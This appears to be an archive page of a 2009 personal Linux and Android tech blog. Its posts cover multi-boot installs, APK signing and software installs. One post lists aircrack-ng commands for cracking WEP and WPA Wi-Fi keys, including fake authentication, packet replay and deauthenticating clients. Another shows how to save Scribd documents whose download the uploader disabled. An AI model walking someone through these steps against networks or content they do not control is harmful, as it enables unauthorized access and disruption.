Archive for linux

How to connect to Ad Hoc networks using Tmobile G1 Android

Posted in Android, Linux (Ubuntu) with tags , , , , , , , , , , on September 14, 2009 by HydTech

moved to: http://hydtechblog.com/2009/09/14/how-to-connect-to-ad-hoc-networks-using-tmobile-g1-android/

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Cracking WEP & WPA with IBM Lenovo X60 – Basics

Posted in BackTrack, fedora, Linux (Ubuntu), opensuse with tags , , , , , , , , , , on September 14, 2009 by HydTech

At first injection with the Intel pro wireless cards was impossible. Then came the ipwraw driver. Now, we no longer need the ipwraw as the iwl3945 card supports injection. Most linux distros now ship with this driver.

Follow these steps for a succesful WEP crack in Ubuntu:

download necessary files
sudo apt-get install aircrack-ng

place card in monitor mode
sudo airmon-ng start wlan0

test injection
sudo aireplay-ng -9 -e linksys -a 00:14:6C:7E:40:80 mon0
(0% means injection not working)

capture data and write to file called output
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w output mon0

fake authentication
sudo aireplay-ng -1 0 -e linksys -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

replay mode
sudo aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

run aircrack
sudo aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap

For WPA cracking follow this:

monitor mode
sudo airmon-ng start wlan0

collect handshake
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w psk mon0

deauth connected client
sudo aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 mon0

cracking
sudo aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

These are just refreshers. For more help check http://www.aircrack-ng.org

Sign apk package files for publishing in the Android market with keytool and jarsigner on Ubuntu

Posted in Uncategorized with tags , , , , , , , on August 13, 2009 by HydTech

Once you’ve completed your package with Eclipse and you want to publish it to the android market, google requires that you sign it.  For this step you need two tools.  Keytool and jarsigner can be obtained through JDK.

Open up terminal and install jdk:

sudo apt-get install sun-java6-jdk

Use keytool to make yourself a new key:

keytool -genkey -v -keystore mykeystore.keystore -alias aliasname -keyalg RSA -validity 10000

genkey – generate the key
v – verbose mode
keystore – select name of keystore
alias – creates an alias for the key
keyalg – specifies the encryption algorithm used to generate the key. Ex: RSA, DSA
validity – when should the key expire in days? (google requires like a 50 year expiry)

The keytool will walk you through the process of choosing a password and name.  Once the key is made, you need to sign the apk with jarsigner using this key:

jarsigner -verbose -keystore mykeystore.keystore programfile.apk aliasname

keystore – keystore containing your private key
verbose – verbose mode

You will be prompted for your password. You are ready to go.

Lenovo Thinkpad X60 with Fedora 10, openSuse 11, Ubuntu 9.04 and Windows XP

Posted in fedora, Linux (Ubuntu), opensuse with tags , , , , , , , , , , on March 26, 2009 by HydTech

I’ve been using Ubuntu dual booted with windows for quite a while now, but due to driver compatibility issues and lack of knowledge used windows for the most part. Since Ubuntu 8.10, I’ve completely switched over to Ubuntu and love it. Mostly because it’s FREE! Windows is still hanging around in case I might need it for some program in the future. I use Thunderbird as my email client and Opera as my web browser. One of my main concerns was sharing the profiles for these programs, but NTFS-3G has made life easier.

After feeling comfortable with Ubuntu, I decided I needed to expand my knowledge by learning to use KDE; different package managers like yum and yast; and the possibility of having multiple Linux Oses on single partitions. After doing some research, I decided I should either go with openSuse or Fedora. Then, I figured: “Why not both?” and leave Ubuntu and Windows intact. I downloaded the Live CD’s for both Oses. The Live CD installation has less programs and tools installed compared to the DVD installation.

I opened Gparted on Ubuntu to make extra partitions for Fedora and openSuse, but I realized I can’t have more than 4 primary partitions without hacking the MBR. I deleted the Linux Swap partition because I already have 2GB of RAM. I resized my Windows and Storage partitions and made one extra partition on which I would install both Fedora and openSuse. I split the partition into 2 logical partitions of about 5GB each.

gparted

Since my Lenovo does not have an optical drive, I had to use an external USB drive and allow the BIOS to boot from it

Popped in the Fedora Live CD and installed Fedora. I selected the first logical partition and set this location as “/” (root) and opted not to use a swap space. When it asks to install GRUB, you can choose not to or to install it at the beginning of the Root partition and not at the beginning of the whole hard drive because Ubuntu has already installed GRUB there and you might not want to write over it. I chose not to install GRUB. It was a painless install. Restarted and booted into Fedora to make sure it worked.

Next, I popped in the openSuse Live CD and installed it to the second logical partition also without swap space. Again, chose not to install GRUB. Install was again pretty simple. Booted into openSuse to make sure it worked.

Now, I had to update my GRUB to include the other Oses. I could have done it manually, but I chose to upgrade my 8.10 Intrepid to 9.04 Jaunty by hitting “Alt+F2” and typing “upgrade-manager -d”, which updated the entries in GRUB automatically.

updatemanager

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Still one more issue: How to install Opera and Thunderbird and share the profiles between Windows, Ubuntu, Fedora and openSuse. This call for a new blog entry.

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How To save documents from Scribd when disabled by user with Ubuntu Intrepid or Jaunty

Posted in fedora, Linux (Ubuntu), opensuse with tags , , , , , , , , on March 17, 2009 by HydTech

Some users disable the option to download a document from scribd but the option to print is still available. We can use this to our advantage and save the document by printing the file to PDF.

In Ubuntu, we need to install cups-pdf to create a postscript printer. Check my previous post here for a tutorial.

After installing the PDF printer, go to the document you want to save on scribd.  Select more -> Print

scribd1

Select the PDF printer and hit print.  and wait…...………. this can take upto 10-15 minutes depending on how big the file is.

scribd2

Check the print status. 6 minutes and still printing……

scribd3

When done, the file will be saved in the PDF folder we created and will be called _stdin_.pdf

scribd4

Install/Update Opera 9.64 in Ubuntu Intrepid Ibex/Jaunty Jackalope

Posted in Linux (Ubuntu) with tags , , , , , , on March 8, 2009 by HydTech

In this tutorial I will show you how to install or update to Opera 9.64 in Ubuntu. This guide is for a beginner to the operating system and will work for any version of Ubuntu, including other Debian based linux distributions.

If you are upgrading, first check for an update under help in the browser or you can directly go to the website and download the latest version.

opera update

save the file to the desktop and close the browser.
opera update

double click the .deb file and click install package even if you are upgrading.
opera update

close the installation process and restart your browser
opera update

How to fresh install OpenOffice 3.0.1 on Ubuntu 8.10 Intrepid, 9.04 Jaunty, Fedora 10 and openSuse 11

Posted in fedora, Linux (Ubuntu), opensuse with tags , , , , , , , on February 24, 2009 by HydTech

Instructions for Ubuntu:

Yesterday I noticed that the menu on my OpenOffice had some weird characters. I finally figured out that some of the system fonts in Ubuntu are not compatible with OO. I managed to change the fonts back by going to System -> Preferences -> Appearance -> Fonts. But it was too late. During the process I upgraded, uninstalled the whole program and reinstalled it back again. For this process, I used synaptic package manager to find everything that said openoffice and marked it for complete removal.

remove OpenOffice

I could have also opened up terminal and typed:
sudo apt-get remove openoffice*.*

Then, I went to openoffice.org and downloaded the .deb file for 3.0.1 (OOo_3.0.1_LinuxIntel_install_en-US_deb.tar.gz) and extracted it to the desktop. Then I typed:
sudo dpkg -i ~/Desktop/OOO300_m15_native_packed-1_en-US.9379/DEBS/*.deb
install_office

dpkg is a tool to install, build, remove and manage Debian GNU/Linux packages. The -i option is used to install a file or in this case, several files. We selected *.deb which means select all the files with a .deb extension and install them. We could have alternatively double clicked each .deb package and installed it separately, but the command line is a much more powerful option.

Next, to install the last package stored in a different folder, I typed:
sudo dpkg -i ~/Desktop/OOO300_m15_native_packed-1_en-US.9379/DEBS/desktop-integration/openoffice.org3.0-debian-menus_3.0-9376_all.deb
install_office2

I believe I could have used the –recursive or -R option and specified the directory, which would have installed all the packages in the folder including all the sub-folders.

That’s all it took.

Instructions for Fedora and openSuse:

Goto openoffice.org and Download the rpm in tar.gz format onto the Desktop

open up terminal, become root and untar the file:
su
(enter password)
tar -xvf /home/black/Desktop/OOo_3.0.1_LinuxIntel_install_wJRE_en-US.tar.gz

oo1
cd into the directory:
cd OOO300_m15_native_packed-1_en-US.9379/
oo2
setup:
./setup
oo3
follow install directions:
oo4

oo5

Yatta !